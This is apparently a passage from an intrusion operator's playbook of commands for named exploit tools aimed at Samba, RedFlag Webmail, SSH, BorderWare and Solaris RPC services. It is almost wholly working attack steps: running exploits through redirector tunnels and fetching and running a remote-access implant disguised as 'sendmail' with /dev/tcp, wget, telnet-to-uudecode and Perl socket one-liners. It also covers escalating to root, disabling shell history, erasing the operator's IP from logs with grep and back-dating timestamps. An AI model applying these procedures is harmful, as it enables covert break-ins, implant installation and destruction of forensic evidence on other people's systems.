3.2 [0x00159198] +18. samba-2.2.8 - OpenBSD 3.2 (package) [0x001dd258] +19. samba-2.2.7 - OpenBSD 3.2 (package) [0x001d9230] +20. samba-2.2.5 - OpenBSD 3.2 (package) [0x001d6170] +21. Crash (All platforms) [0xbade5dee] + +# EGGBARON may not work the first time using the target number as the -t flag. +# Try bruteforcing it using the -b flag. This usually works, and after very few tries. +# If this is taking a long time, try setting the bruteforce step size down using -b 100. +# Subsequently, the -t flag will work + + + +./sambal -b 0 TARGET_IP + +####### redirected: + +### via pitch: +-tunnel +l 1139 TARGET_IP 139 +l 4444 TARGET_IP 45295 +r NETCAT_PORT + +### Locally: +./sambal -p 1139 -b 0 127.0.0.1 +./sambal -f -p 1139 -b 0 127.0.0.1 + +# skip to nc section + + +### Thru a windows box: +### 1. Need a 2 second delay (-d 2000000) +### 2. Need three tunnels (exploit, nc to port 45295, and callback to upload RAT) + +background redirect -tcp -lplisten 4444 -target 10.1.1.3 45295 -bind WINDOWS_LOCAL +background redirect -tcp -lplisten 1139 -target 10.1.1.3 139 -bind WINDOWS_LOCAL +background redirect -tcp -implantlisten 25896 -target LOCAL_UNIX 25896 -nodes 40 + + +### If you think you can't contact the target directly and want the exploit to +### call back to you, use the "-c WINDOWS_TARG_CALLBACK" option, and start +### a windows tunnel and unix netcat listener on port 45295 +### Even if the "-c WINDOWS_TARG_CALLBACK" is used, both a callback to port 45295 _AND_ +### a listener on the target's port 45295 will be created + + +### Locally: +./sambal -t0 +./sambal -r 0xbffffb00 -b 0 -B 300 -v -c WINDOWS_TARG_CALLBACK -C 1 -f -d 2000000 -p 1139 WIN_LOCAL +./sambal -r 0xbffffd00 -b 0 -B 300 -v -c WINDOWS_TARG_CALLBACK -C 1 -f -d 2000000 -p 1139 WIN_LOCAL + + +### try connecting via netcat after any "session failed" message when redirecting: +nc PITCH_IP_or_WINDOWS_LOCAL 4444 +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +uname -a +### start a netcat with the right nopen version (don't need to uuencode with /dev/tcp way) +### nc -l -v -p NETCAT_PORT < sendmail +pwd +mkdir /tmp/.scsi; cd /tmp/.scsi; pwd +ls -l /usr/bin/uudecode +/bin/cat/tmp/.scsi/sendmail +chmod 700 sendmail +PATH=. sendmail +id + +### Cleanup +# look for stray process in netstat (bunch of funky chars followed by /bin/sh on port 45295) +# then kill the associated process running it: +netstat -anlp | grep 45295 +ps -ef |grep +kill -9 + + +# Logging depends on OS; usually indicated in smb.conf file or check: +# /var/log/samba/smb.log, /var/log/samba/.log + +### +################################################## +# EXTRANEOUSMONKEY +################################################## + +-tunnel +l 443 TARGET_IP + +### verify the exploit will work with a test command: +./em -i 127.0.0.1 -t 2 -u "w; date; date -u; uname -a" + +### next, run this one using the proper noclient & noserver +### nopen will be started as httpd owned by apache +### you'll connect in the / directory + +./em -i 127.0.0.1 -t 2 -s /current/up/noserver -c /current/bin/noclient + + +-cd /tmp +-lt +uname -a + +### start another nopen listener on a random port (not reusing the socket) + +unset I; PATH=. D=-l38475 .httpd + + +### from redirector +-nstun TARGET_IP:38475 + + +### elevate using your favorite local (probably EVENTSTART), then start +### another privileged noserver, connect to it, then clean up + + +### Logging: +/var/log/httpd/ssl_error_log +/var/log/httpd/access_log +/var/log/httpd/ssl_access_log +/var/log/httpd/ssl_request_log + + + + +############################################################################## +### EXPIRETRACHEA +############################################################################# + +# close to freebsd 4.3 +# copy nopen for freebsd 4.3 as noserver in /current/up; automatically uploads and connects + +-scan mail TARGET_IP + +# returns BorderWare MXtreme Mail Firewall + +#cgi-bin/remote/expiretrachea/i586-pc-linux-gnu/opscript.borderware +#expiretrachea_helper.pl +#expiretrachea.pl -h hostname -c PITCH_IP + +### redirected: +-tunnel +l 80 TARGET_IP +r 25 + +# 1st window +expiretrachea_helper.pl -c PITCH_IP + +# 2nd window +expiretrachea.pl -h 127.0.0.1 -c PITCH_IP + +# clean logs: +### /server/ftp/log/httpd: referer_log, ssl_request_log, and access_log +#grep -v "-" /server/ftp/log/httpd/referer_log > /tmp/.scsi/c; cat /tmp/.scsi/c > /server/ftp/log/httpd/referer_log + +pwd +-lt /server/ftp/log +-lt /server/ftp/log/httpd +-lt / +df -k +w +ps -auxww +-cd /var/tmp + +-get /server/ftp/log/messages +-tail /server/ftp/log/messages +grep -v DSADMIN /server/ftp/log/messages > m; cat m > /server/ftp/log/messages +grep -v PITCH_IP /server/ftp/log/messages > m; cat m > /server/ftp/log/messages + +-get /server/ftp/log/httpd/referer_log +-tail /server/ftp/log/httpd/referer_log +grep -v prepend /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log +grep -v x90 /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log +grep -v admin /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log +grep -v C /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log + +-get /server/ftp/log/httpd/access_log +-tail /server/ftp/log/httpd/access_log +grep -v PITCH_IP /server/ftp/log/httpd/access_log > m; cat m > /server/ftp/log/httpd/access_log + +-get /server/ftp/log/httpd/ssl_request_log +-tail /server/ftp/log/httpd/ssl_request_log +grep -v PITCH_IP /server/ftp/log/httpd/ssl_request_log > m; cat m > /server/ftp/log/httpd/ssl_request_log + + +-get /server/ftp/log/httpd/error_log +-tail /server/ftp/log/httpd/error_log +grep -v PITCH_IP /server/ftp/log/httpd/error_log > m; cat m > /server/ftp/log/httpd/error_log +grep -v db_sql /server/ftp/log/httpd/error_log > m; cat m > /server/ftp/log/httpd/error_log + +-rm m +-rm /tmp/.scsi/sendmail /tmp/.scsi/getopt /tmp/.scsi +-lt + + +################################################### +### NFTP +################################################### +# nopen ftp +############ + +ourtn -lue PITCH_IP +noclient PITCH_IP:PORT + +-tunnel 12121 udp # NOTE: As of v1.1, if this is not there, the + error message will offer it as a pastable. + + +# In the LOCAL window, use nftp to transfer a file in both directions +# via NOPEN redirection to PITCH_IP in regular mode (-d and -V are +# optional and give more debugging/verbose information): + +nftp -r PITCH_IP -d -V TARGET_IP +# pnftp -r PITCH_IP -d -V TARGET_IP + +user +password +ls +cd /bin +lcd ../down +#get vi +cd /tmp +#put vi vi.test1 +bye + +####################################### +### ELITEHAMMER +####################################### +### Runs against RedFlag Webmail 4 (software install) +### Gives you user nobody, not root; +### Need a local to get root (EVENTSTART or ELASTICBANJO?) +### Webmail port is usually 80 or 443 + +-scan http TARGET_IP +-scan ssl TARGET_IP +-scan 8025 TARGET_IP + +### This version will reuse the same port for the nopen upload and the nopen callback: + +### Redirector: +-tunnel +l WEBPORT TARGET_IP +r CALL_BACK_PORT + +### In two scripted local windows, run the following: + +### 1st window +###./elitehammer_helper.pl -c -p [-n path to noserver ] [-s sleep secs ] +./elitehammer_helper.pl -c PITCH_IP -p CALL_BACK_PORT + +### 2nd window +###./elitehammer.pl -h -m -c -p [-l if https] +./elitehammer.pl -h 127.0.0.1 -m WEBPORT -c PITCH_IP -p CALL_BACK_PORT + + +### Troubleshooting Elitehammer +### If you throw the exploit and just see the first connection, +### a firewall might be blocking certain outbound ports + +-tunnel +l 8888 TARGET_IP mailport +r 53 +r 25 +r 110 +r 80 +r 443 +r 21 +r 22 +r 23 + +### Locally, setup nc for each of the above ports to see what target will allow +### out (53,25,110,80,443,21,22,23) +nc -l -p NETCAT_PORT + +### Then surf the following in a web browser and watch your netcat window for a connection: +http://127.0.0.1:8888/mod_password.php?cfg_m_function=http://PITCH_IP:NETCAT_PORT + +### Once you've identified a port allowed out, change the CALL_BACK_PORT in your tunnels and +### commands aand try again + +### Once successful, you'll be connected in a nopen window as user nobody + +-lt +id +-cd /tmp/.scsi +-lt +uname -a +w + +### more windows +# noclient -l CALL_BACK_PORT +# PATH=. D="-cPITCH_IP:CALL_BACK_PORT" sendmail + +### Choose your poison for elevation (EVENTSTART, ELASTICBANJO, others) + +### Clean up + /webmail4/www/logs/access_log + +-lt /webmail4/www/logs +-grep PITCH_IP /webmail4/www/logs/access_log +grep -v PITCH_IP /webmail4/www/logs/access_log > m; cat m > /webmail4/www/logs/access_log +touch -t YYMMDDHHMM.ss /webmail4/www/logs/access_log +-lt /webmail4/www/logs/access_log +-rm m +-cd /tmp +-rm .scsi + +####################################### +### ELASTICBANJO +####################################### +### Elevates to root; make suren redmin is there + +-lt /usr/share/redmin/cgi/redmin + +### must use /tmp/.scsi directory +-cd /tmp/.scsi +-put /current/up/gr.tbz2 gr.tbz2 +tar xvfj gr.tbz2 +-shell +id +./gr +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +pwd +cd /tmp/.scsi +#PATH=. sendmail +#noclient -l NOPEN_PORT +#PATH=. D="-cPITCH_IP:NOPEN_PORT" sendmail +exit +exit + +### Clean up + /var/log/rflogview/system_info + /var/log/cron + /var/spool/at/.SEQ + /tmp/1 + +-lt /tmp +-rm /tmp/1 + +-lt /var/spool +-lt /var/spool/at +-cat /var/spool/at/.SEQ + # decrement the number in the file by 1 + #echo 00000 > /var/spool/at/.SEQ +#echo NUMBER > /var/spool/at/.SEQ +chown daemon:daemon /var/spool/at/.SEQ +-cat /var/spool/at/.SEQ +-lt /var/spool/at +-touch /var/spool /var/spool/at/.SEQ +-touch /var/spool /var/spool/at/spool +-touch /var/spool /var/spool/at + +-lt /var/log/cron +-grep LIST /var/log/cron + # all should be from us +-gs grepout LIST /var/log/cron +#grep -v LIST /var/log/cron > m; cat m > /var/log/cron + +-lt /var/log/rflogview +-tail /var/log/rflogview/system_info +-grep LIST /var/log/rflogview/system_info +-gs grepout LIST /var/log/rflogview/system_info +# grep -v LIST /var/log/rflogview/system_info > m; cat m > /var/log/rflogview/system_info + +-lt / /var/run /var/log + +# check history files for root and user you elevated from + +-rm m sendmail +-cd /tmp +-rm /tmp/.scsi + +########## Adding/Deleting ipchains rules to scan/exploit internal targets ### +# specifically used for jogswirl *.133u, .132u) + +# on target +-ifconfig +ipchains -L -n --line-numbers > L:/current/down/ipchains.lnumbers-orig +ipchains -L -n --line-numbers + +# locally +./fw-ipchains -h +./fw-ipchains -s 172.16.80.19 -d 172.16.0.0/16 + +# on target + +# copy/paste add rules (tcp/udp...) from fw-ipchains output +# scan/exploit targets + +ipchains -L -n --line-numbers + +# copy/paste delete rules (tcp/udp...) from fw-ipchains output +ipchains -L -n --line-numbers > L:/current/down/ipchains.lnumbers-clean +ipchains -L -n --line-numbers + +# locally +cd /current/down +diff ipchains.lnumbers-orig ipchains.lnumbers-clean +# make sure -orig and -clean look the same; resetting rules to original state:q + +###################################################3 +# KWIKEMART +###################################################3 +# SSH-1.5-1.2.27 +# SSH-1.5-OpenSSH-1.2.3 +# SSH-1.99-OpenSSH_2.1.1 +# SSH-1.99-OpenSSH_2.2.0 + +telnet TARGET_IP + +./km* -t +./km -t0 +./km.e -t0 +./km -t2 TARGET_IP 22 + + +# CLEAN UP + +/var/log/messages +/var/log/auth + +##################################################3 + + + +############################################################ +# SSH +############################################################ + + + +### get nopen ready to paste with gedit: +cp noserver sendmail +compress sendmail +uuencode sendmail.Z sendmail.Z > sendmail.Z.uu +gedit sendmail.Z.uu + + +### redirector +-tunnel +l 22 TARGET_IP + + +# Multiple targets? If so, wipe your known_hosts file locally between each: +cat /dev/null > ~/.ssh/known_hosts + +ssh -x iga@127.0.0.1 "/bin/sh" + # or +ssh -p RANDOM_PORT -x username@127.0.0.1 /bin/sh + # or this eliminates the lack of tty problem +ssh -p RANDOM_PORT -x username@127.0.0.1 + + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +uname -a +ls -la /boot +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd +which uudecode uncompress + # gedit sendmail +uudecode; ls -la + + +# LINUX: +# start nopen so you can upload forkpty to be able to su (ptrace didn't work) +-put forkpty f +./f + +# or: +su + +############## upload nopen: + +### +### using uudecode pastable +### + +# if no uuencode and no ftshell (if you used telnet) try: +# locally run: +uudecode.pastable /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0 sendmail + +# paste the perl code that it spits out (hitting return after the last character), then +# paste sendmail that is brought up in gedit + +# you may need to hit Ctl-C after you see the upload complete +# Note: the upload may not echo to the screen until after the Ctl-C + + + + +### +### using cat & /dev/tcp: +### + +# on redir: +-tunnel +r RANDOM + +# netcat +nc -l -v -p RANDOM < sendmail + +# on target: +cat /dev/tcp/PITCH_IP/RANDOM > sendmail + + + + + +### +### using wget: +### + +# If none of the above work: +# Locally: +echo -e 'HTTP/1.0 200\n' > new +cat new ../up/morerats/noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > /current/up/sendmail + +nc -l -v -p RANDOM < sendmail + +# on redir: +-tunnel +r RANDOM + +# on target +wget http://210.56.8.10:RANDOM/sendmail +ls -la +chmod 700 sendmail +PATH=./sendmail + +-nstun TARGET_IP + + + +### +### using secure copy +### + +# if that doesn't work, try secure copy: + +# on redir: +-tunnel +l RANDOM TARGET_IP 22 + + +# in a local scripted window: +cd /current/up +cp /current/up/noserver crond +scp -P RANDOM crond username@127.0.0.1:/tmp/.scsi/crond +# enter passwd at the prompt + + + +### +### Want netcat? netcat nc -- how abuot perl instead? +### using target's perl to open a socket, either +### callback or listen on target. +### + +my +:%s/PERLNAME/PERLNAME/g +:%s/PERLRANDOMPORT/PERLRANDOMPORT/g +:%s/PERLCALLBACKIP/PERLCALLBACKIP/g +:%s/PERLCALLFORWARDIP/PERLCALLFORWARDIP/g +:%s,PERLUPLOADFILE,PERLUPLOADFILE,g +`y + +#### CALLING out from target +# LOCALLY use netcat to upload file +nc -vv -l -p PERLRANDOMPORT < PERLUPLOADFILE + +# or if you want a loop to keep listening after each upload +while [ 1 ] ; do \ + echo starting listen on PERLRANDOMPORT ; \ + date ; \ + nc -vv -l -p PERLRANDOMPORT < PERLUPLOADFILE; \ + echo done ; \ + sleep 3 ; \ +done + +# tunnel +-tunnel +r PERLRANDOMPORT + + +# ON TARGET +perl -MIO -e 'close(STDIN);$c=IO::Socket::INET->new("PERLCALLBACKIP:PERLRANDOMPORT")or exit1;binmode($c);open(O,">PERLNAME")or exit 1;binmode(O);select O;$|=1; print O while (<$c>);close(STDOUT);close($c);unlink("PERLNAME") unless (-s "PERLNAME");' + + +### LISTENING on target + +# ON TARGET +perl -MIO -e '$s=new IO::Socket::INET(LocalPort,PERLRANDOMPORT,Reuse,1,Listen,10) or exit 1; $c=$s->accept() or exit 1;open(O,">PERLNAME")or exit 1;select O;$|=1;print O while <$c>;close(O);close($c);unlink("PERLNAME") unless (-s "PERLNAME");' + +# tunnel +-tunnel +l PERLRANDOMPORT PERLCALLFORWARDIP + +# LOCALLY +nc -vv 127.0.0.1 PERLRANDOMPORT < PERLUPLOADFILE + + + + + + + + +### +### to elevate using EVENTSTART(?) use whatever name you want +### +-put /current/up/h h + +# in your ssh or telnet masquerade window: +./h + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +id +cd /tmp/.scsi;pwd +chmod 700 sendmail +chown root:root /tmp/.scsi +PATH=. sendmail + +### in another window +-nstun TARGET_IP 32755 + +-rm sendmail + +##### Don't forget to burn the unprivileged nopen + + + +# Cleanup +/var/log/secure +/var/log/messages +/var/log/lastlog +/var/log/wtmp +/var/run/utmp + + + + +########################################################### +# BOSSLAD +########################################################### +### when nsrexec is there but NOT with nsrstatd??? +### like a tcp version of BS +### always uses port 7937 + + +### ./bll.tnc.gr + +# Before running this script, you first need to run the following: +# nc -l -p localPort < file2Xfer&Run.uu +# (nc must be in your path; it's also run w/in this script) +# where file2Xfer&Run.uu is a compressed, uuencoded file. + + +# Usage: bll.tnc.gr +# [options] -- [options to ] +# -i (required) +# -l (required) +# -p def = 32177 +# -f (required) +# -D def= /tmp/.X11R6 +# + +# ./bll.tnc.gr -i 66.128.32.67 -l 67.233.61.230 -p 24792 -f sendmail -D /tmp/.scsi + +packrat NETCAT_PORT + +### On redirector: +-tunnel +l 7937 TARGET_IP +r NETCAT_PORT + +### On local machine: +### Ex.: ./bll.tnc.gr -i 127.0.0.1 -l 150.27.1.11 -p 45226 -f sendmail -D /tmp/.scsi + +./bll.tnc.gr -i 127.0.0.1 -l PITCH_IP -p NETCAT_PORT -f RAT_NAME -D /tmp/WORK_DIR + + +### Once upload of RAT completes, connect to target from PI with nopen: +-nstun TARGET_IP + + + + +### Cleanup +-ls /nsr/cores +-ls /nsr/cores/sh +-cat /nsr/cores/sh/* +rm /nsr/cores/sh/* +-rm /nsr/cores/sh +-touch SOMEFILE /nsr/cores + +-ls /nsr/logs +-ls /nsr/logs/daemon.log +-get /nsr/logs/daemon.log +wc -l /nsr/logs/daemon.log +head -## /nsr/logs/daemon.log > n +-cat n +cat n > /nsr/logs/daemon.log +touch SOMEFILE /nsr/logs/daemon.log + + + + +######################################################### +# ELVISCICADA +######################################################### +### only up to ealry Sol2.9; Sol2.10 not vulnerable + +### snmpXdmid (/usr/lib/dmi/dmispd) daemon program (RPC program 300598 version 1) +# Req: +# 1. you must know the OS +# 2. you must ba able to connect with TCP (for when you get the root shell) +# 3. /usr/lib/dmi/dmispd must be running on the target system, +# and you must be able to successfully talk to its ___UDP___ port. +# This is usually evidenced by RPC program 300598 version 1 +# during rpcinfo -p and UDP rpcinfo -n "touches" of the target, such as... +# +# $ rpcinfo -p target +# ... +# 300598 1 udp 32879 +# 300598 1 tcp 32796 +# ... +# $ rpcinfo -n 32879 -u target 300598 +# program 300598 version 1 ready and waiting +# $ +# +# if rpcinfo -n returns "ready and waiting", ELVISCICADA should be ready to sing. + +### -scan brpc TARGET_IP +### look for program 300598 version 1 of dmispd and make note of UDP port + +### test that TCP connects get thru to the default shellcode port (32387) +### (being refused is still good - means it went thru) +### If the port doesn't answer, pick another port that works, AND add the "-s" option +### using the new (random) port + +# ON PI: +-tunnel +l 32387 TARGET_IP + +# Locally +telnet 127.0.0.1 32387 + + + + +### Usage: +./dw.linux + +### Use the lowest number for the target OS and increment by one for subsequent attempts: + +./dw.linux -t -i TARGET_IP -s RANDOMSHELLPORT -p UDPPROGRAMPORT +./dw.linux -t -i TARGET_IP -p UDPPROGRAMPORT + +### If redirected: + +# On PITCHIMPAIR +-tunnel +l RANDOMSHELLPORT TARGET_IP +u PROGRAMPORT TARGET_IP +r NETCATPORT + + +# Locally: +./dw.linux -t -i 127.0.0.1 -s RANDOMSHELLPORT -p UDPPROGRAMPORT -w 10 -b 1024 +./dw.linux -t -i 127.0.0.1 -p UDPPROGRAMPORT + + + +### Once you have root, get nopen up there: + +### on PITCHIMPAIR +-tunnel +r NETCAT_PORT + +### On target: +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep RAT_PORT +D="-l RAT_PORT" PATH=. sendmail +netstat -an | grep RAT_PORT + +### pitch window +-nstun TARGET_IP RAT_PORT + + +### Restart both dmispd daemons before leaving the target: + +ps -ef |grep dmi +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +rpcinfo -d 300598 1 +/etc/rc3.d/S77dmi stop < /dev/console 2>&1 >/dev/null +/etc/rc3.d/S77dmi start < /dev/console 2>&1 >/dev/null +ps -ef |grep dmi + +### should see something like this: +# root 580 399 0 12:48:18 ? 0:00 grep dmi +# root 577 1 0 12:48:18 ? 0:00 /usr/lib/dmi/snmpXdmid -s target +# root 573 1 0 12:48:18 ? 0:00 /usr/lib/dmi/dmispd + + +### Cleanup: +# possible core file in /? or /usr/lib/dmi/dmispd? +-ls /core /usr/lib/dmi/dmispd + +#/var/adm/messages (for failures) +-tail /var/adm/messages + + + +######################################################### +# EMPTYCRISS +######################################################### + + +### No redirection: + +### This will create the output to paste into the telnet window: +### local unscripted window: + +./emptycriss TARGET_IP + # or +perl ./emptycriss TARGET_IP + + +### op window +### paste instructions from 1st window into this one +### Ex.: +#ATTACKER# telnet +# +#ATTACKER# telnet> environ define TTYPROMPT abcdef +# +#ATTACKER# telnet> o victimip +# +#ATTACKER# telnet> root c c c c c c c c c c c c c c +#c c c c c c c c c c c c c c c c c c c c c c c c c c +#c c c c c c c c c c c c c c c c c c c c c c c c\n +## +##id +##uid=0(root) gid=1(other) +##uname -a + +### if it fails, try again as /bin + +ftshell telnet + + + + +### Redirected: + +-tunnel +l RANDOM TARGET_IP 23 + +# +# In unscripted window +# +./emptycriss 127.0.0.1 + + +# In scripted op window: + +ftshell telnet + +### NOTE: be sure to open 127.0.0.1 on the RANDOM redirected port + +#Ex: +#o 127.0.0.1 RANDOM + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +~~p +noserver sendmail +ls -la +chmod 700 sendmail +PATH=. D="-l RAT_PORT" sendmail + +########################################## +# EASYSTREET +########################################## +### cmsd 100068 +### UDP is best since it's a single packet to exploit + +-scan rpc TARGET_IP # look for 100068 and make note of port + +### UDP is best since it's a single packet to exploit +### with -sploit: + +#-sploit will ask you which exploit to try. +# Select 'CM' (calendar manager) +# Another window will pop up to run the exploit +# This window will pause to allow you to verify the command it will run. +# The command should look something like this (the ports will vary): +# -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Append '-T 2' to the front of the line so that it looks like this: +# -T 2 -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Then press return. + +# The exploit window will prompt you to set up a listener like this: +# You must establish a NOPEN listener on 192.168.250.3:SOME_RANDOM_PORT + +-nrtun RANDOM (as indicated in the -sploit exploit prompt) + +#Press enter + +#Now the exploit will occur and, after a couple of minutes, it will call back +#to your listener. +#Once the callback occurs, take the following steps: + +#In a local window +LOCAL>closetunnel + +#Press 'A' to abort the autodone commands +#Delete the files created by your exploit +#There should be one lock file and one callog file +-lt /var/spool/calendar +-rm /var/spool/calendar/THE_TWO_MOST_RECENT_FILES + +#Use touch to set the directory timestamp back +-lt /var/spool +-touch /var/spool/SOME_OLDER_DIRECTORY /var/spool/calendar + + +### Usage: +./cmsex +./cmsex.auto + + +### get nopen ready +packrat noserver + + +### no redirection +./cmsex -i TARGET_IP -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet LOCAL_IP NETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T (-u RANDOM | -t RANDOM) + + +### Redirected: +-tunnel +u RANDOM TARGET_IP CMSD_PORT +r NETCAT_PORT + + + +./cmsex -i 127.0.0.1 -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet PITCH_IP NETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. s +endmail' -T 3 -u RANDOM + + + +### when the upload is done, kill the netcat, then try connecting in +-nstun TARGET_IP + +-rm sendmail + + +### Logging: +-lt /var/adm +-lt /var/spool/calendar + + + + +######################################################### +# EBB +######################################################### + +### Sol2.10 vulnerable for only program 100230 metamhd using ebbshave.v4 + +### ./ebbshave.v5 is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services +### Important: ebbnew_linux must be in your PATH + +command that is useful: + rpcinfo -n -u|-t + +usage: ./ebbshave.v5 -o -v -t -p +-o : one of the following options [1-19]: + 1, "5.9 metamhd", program # = 100230, + 2, "5.8 ruserd", program # = 100002, NOTE = version 1 + 3, "5.8 ruserd", program # = 100002, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 4, "5.8 ttdbserverd", program # = 100083, + 5, "5.8 cachefsd", program # = 100235, NOTE = version 1 - Start with option #6 first, if it fails then try this option + 6, "5.8 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 7, "5.8 metad", program # = 100229, NOTE = version 1 + 8, "5.8 metad", program # = 100229, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 9, "5.8 metamhd", program # = 100230, + 10, "5.7 ruserd", program # = 100002, NOTE = must start service first by using rpcinfo -n before using this option + 11, "5.7 kcms_server", program # = 100221, + 12, "5.7 cachefsd", program # = 100235, + 13, "5.7 ttdbserverd", program # = 100083, + 14, "5,7 dr_daemon", program # = 300326, + 15, "5.6 ruserd", program # = 100002, + 16, "5.6 kcms_server", program # = 100221, + 17, "5.6 cachefsd", program # = 100235, NOTE = version 1 - Start with option #18 first, if it fails then try this option + 18, "5.6 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 19, "5.6 ttdbserverd", program # = 100083, +-v : the program version number you are exploiting which is obtained from rpcinfo output +-t : targets ip address +-p : port number rpc program is listening on +example: + ./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772 + +If you fail to exploit using ./ebbshave.v5, try bruteforcing using ebbshave.v4 + + +### 1. Use the following command to look for a suitable program to hit + +### Redirection: +-tunnel +l 111 TARGET_IP + +### Local box: +./ebbshave.v5 +ebbshave -p 127.0.0.1 + +### 2. Verify the portnum will work (should respond "ready and waiting) +### Use either: +# rpcinfo -n -u|-t +# Ex.: ebbshave -n 32776 -t targetip 100229 + +### Redirector: +-tunnel +l PORTNUM TARGET_IP + +### Locally, see if the program you want is a viable option: +./ebbshave -n portnum -t host prognum +./ebbshave -n PORTNUM -t 127.0.0.1 PROGNUM + +### Use this for usage statement +./ebbshave + + +###### 3. Plug in your choices and go: + +### Netcat window: +packrat NETCAT_PORT + +### Redirector: +-tunnel +l 111 +l PORTNUM TARGET_IP +r NETCAT_PORT + +### Locally: +#ebbshave -B -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM +ebbshave -n -t 127.0.0.1 + +# To throw it: +ebbshave -T -n -t 127.0.0.1 + + + +### If that doesn't work, try without the best guess (B) option, or maybe increase th +### timeout period (W) +ebbshave -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM + + +### If successful, you should get a root shell + +### Get the following ready for pasting: (paste one line at a time) + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep RAT_PORT +D="-l RAT_PORT" PATH=. sendmail + +### pitch window +-nstun TARGET_IP RAT_PORT + + + +###### Cleanup: +/usr/openwin/bin/core +/var/adm/messages + +Other cores locations? +Always look at utmp, wtmp,etc + + + +####### If you've hit this before and know the addresses: + +# Ex.: ./ebbshave -T 1 -S 0xffbefa20 -E 0xffbefa20 -n 32775 -t target 300326 + + +######################################################### +# BS - BLUE +######################################################### +# ../bin/bs.tr -h +# +# Usage: +# [E=ratpreargs] [A=ratpostargs] bs.tr remoteIP remoteHost \ +# [remoteDomain] \ +# sadmindPort remoteDir remoteName localIP localPort +# +# ratpreargs : the string put on remote command line right after PATH=. and +# before remoteName (e.g. E='C="-c LOCALIP port"' or +# E='C="-l listenport"') +# +# ratpostargs : the string put on remote command line after running remoteName +# +# +# Command sent to bs will be munged from: +# +#CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < / +#dev/console | uudecode > /dev/null 2>&1 && uncompress -f ${REMOTE_FNAME}.Z && chmod 755 +# ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}" + +### TRICK - use -A option to get its archtype back +### TRICK - give a bad hostname to see if it's running in secure mode; if it complains, then +### it's still vulnerable, and work out the other options; if there's not response +### try another bad name; if still no response, then it's running in secure mode and +### not vulnerable + +### Scan target + +#rpcinfo -p TARGET_IP +# +#rpcinfo -n BSPORT -u TARGET_IP 100232 +#rpcinfo -n BSPORT -t TARGET_IP 100232 + +-scan rpc TARGET_IP + + +mx +:%s/SADMIND_PORT/SADMIND_PORT/g +:%s/REMOTE_DIR/\/tmp\/WORK_DIR/g +`x + +###### Start netcat +packrat NETCAT_PORT + + +############# BS w/ NO REDIRECTION ########### +###### 1. No redirection: +### To use default port +# ./bs.tr TARGET-IP TARGET-NAME SADMIN-PORT REMOTE-DIR RAT-NAME LOCAL-IP NETCAT-PORT +# ./bs.tr TARGET_IP TARGET_NAME SADMIN_PORT REMOTE_DIR RAT_NAME LOCAL_IP NETCAT_PORT + +### Try in this order: +bs.auto -i IP -u SADMIND_PORT TARGET_IP +bs.tr_TRY_SECOND remoteIP remoteHost [remoteDomain] sadmindPort remoteDir remoteName localIP localPort +bs.tn.gr_USE_WHEN_bs.auto_AND_bs.tr_FAIL + + +### To give a port: +#E='D="-l RAT-PORT"' ./bs.tr TARGET-IP TARGET-NAME TARGET-DOMAIN SADMIND-PORT REMOTE-DIR RAT-NAME LOCAL-IP NETCAT-PORT +#E='D="-l RAT_PORT"' ./bs.tr TARGET_IP TARGET_NAME TARGET_DOMAIN SADMIND_PORT REMOTE_DIR RAT_NAME LOCAL_IP NETCAT_PORT + +###### 3. Waiting: +# you will see bursty traffic on your tcpdump, first the trigger, then the connection to upload nopen. +# Hit Ctrl-C on your nc + + +###### 4. COnnect to target: +### Direct connect: +cd ../down +noclient TARGET_IP:RAT_PORT + + # or + +### Callback - have this ready and waiting when running attack: +cd ../down +noclient -l RAT_PORT + + + + + + +############# BS w/ REDIRECTION ########### +###### 1. on redirector + +-tunnel +u SADMIND_PORT TARGET_IP +r NETCAT_PORT +s + + +# and this if nopen needs to run in callback mode: +r RAT_PORT + +###### 2. Local window + + +### Syntax (domainname is not always necessary): +CommandLine: ../bin/bs.tn.gr -h + +New usage: ./bs.tn.gr [options] -- [options to ] + -i (required) + -h (required) + -a (does not work) Use alt rpcbind port + -s hardwired 111 + -r hardwired 111 + -d + -p def= query 